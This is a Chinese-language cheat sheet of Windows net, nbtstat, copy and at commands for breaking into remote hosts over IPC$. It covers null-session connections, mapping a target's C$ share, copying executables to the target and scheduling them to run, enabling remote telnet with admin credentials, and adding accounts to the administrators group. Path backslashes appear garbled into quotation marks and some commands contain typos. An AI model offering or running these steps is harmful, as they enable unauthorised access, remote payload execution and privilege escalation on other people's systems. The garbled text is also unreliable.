1)建立空连接:
net use ""IP"ipc$ "" /user:"" (一定要注意:这一行命令中包含了3个空格)
2)建立非空连接:
net use ""IP"ipc$ "密码" /user:"用户名" (同样有3个空格)
3)映射默认共享:
net use z: ""IP"c$ "密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘，其他盘类推)
如果已经和目标建立了ipc$，则可以直接用IP+盘符+$访问,具体命令 net use z: ""IP"c$
4)删除一个ipc$连接
net use ""IP"ipc$ /del
5)删除共享映射
net use c: /del 删除映射的c盘，其他盘类推
net use * /del 删除全部,会有提示要求按y确认
3 查看远程主机的共享资源（但看不到默认共享）
net view ""IP
4 查看本地主机的共享资源（可以看到本地的默认共享）
net share
5 得到远程主机的用户名列表
nbtstat -A IP
6 得到本地主机的用户列表
net user
7 查看远程主机的当前时间
net time ""IP
8 显示本地主机当前服务
net start
9 启动/关闭本地服务
net start 服务名 /y
net stop 服务名 /y
10 映射远程共享:
net use z: ""IP"baby
此命令将共享名为baby的共享资源映射到z盘
11 删除共享映射
net use c: /del 删除映射的c盘，其他盘类推
net use * /del /y删除全部
12 向远程主机复制文件
copy "路径"srv.exe ""IP"共享目录名，如：
copy ccbirds.exe ""*.*.*.*"c 即将当前目录下的文件复制到对方c盘内
13 远程添加计划任务
at ""ip 时间 程序名，如：
at ""127.0.0.0 11:00 love.exe
注意：时间尽量使用24小时制；在系统默认搜索路径（比如system32/）下不用加路径，否则必须加全路径
14 开启远程主机的telnet
这里要用到一个小程序：opentelnet.exe，各大下载站点都有，而且还需要满足四个要求：
1）目标开启了ipc$共享
2）你要拥有管理员密码和帐号
3）目标开启RemoteRegistry服务，用户就该ntlm认证
4）对WIN2K/XP有效，NT未经测试
命令格式：OpenTelnet.exe ""server account psw NTLM认证方式 port
试例如下：c:">OpenTelnet.exe ""*.*.*.* administrator "" 1 90
15 激活用户/加入管理员组
1 net uesr account /active:yes
2 net localgroup administrators account /add
16 关闭远程主机的telnet
同样需要一个小程序：ResumeTelnet.exe
命令格式：ResumeTelnet.exe ""server account psw
试例如下：c:">ResumeTelnet.exe ""*.*.*.* administrator ""
17 删除一个已建立的ipc$连接
net use ""IP"ipc$ /del